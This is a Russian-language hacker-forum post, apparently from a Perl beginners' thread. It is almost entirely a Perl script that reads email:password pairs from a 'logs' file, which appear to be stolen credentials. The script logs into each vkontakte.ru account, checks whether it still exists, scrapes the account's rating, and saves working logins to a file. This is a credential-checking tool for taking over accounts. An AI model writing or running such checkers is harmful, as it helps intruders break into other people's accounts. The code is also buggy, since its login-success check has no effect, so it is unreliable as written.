Форум АНТИЧАТ - Показать сообщение отдельно - [Perl] Новичкам: задаем вопросы

Вот что у меня получилось, там немного в скрипте логика хромала, при удаленном акке он продолжил бы запрос rate.php страницы...
На удаленных акках не тестил

PHP код:


		
			
 #!/usr/bin/perl -s

use strict; 

use warnings 'all';

use diagnostics;

use LWP::UserAgent; 

use HTTP::Cookies; 

open FILE, '<', 'logs.txt' or die "Cannot open logs file: $!\n";

my $ua = LWP::UserAgent->new; 

my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)'); 

$ua->cookie_jar($cookies);

open OUT, '>>', 'IDS.txt' or die "Cannot open IDS file: $!\n";

while (my @f = <FILE>) 

{

    my ($mail, $pass) = split ':', shift @f;

    chomp($pass);

    my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass })->as_string; 

    $req =~ /302 Found/; 

    if ($req) 

    { 

        $req = $ua->get('http://vkontakte.ru/index.php')->as_string; 

        my $id = $1 if $req =~ m#&lt;a href="http://vkontakte.ru/id(\d+)"&gt;#i;

        next && print "Account $mail deleted\n" if !$id;

        $req = $ua->get('http://vkontakte.ru/rate.php')->as_string; 

        my $res = $1 if $req=~m#<div id="percent" style="width:100px">(\d{1,3})%</div>#i; 

        print "[rate = $res%]:$mail:$pass\n"; 

        print OUT $res.":".$mail.":".$pass."\n"; 

        exit;

    } else 

    { 

        print"[-]bad login or password"; 

    } 

} continue 

{ 

    close OUT; 

    close FILE;

}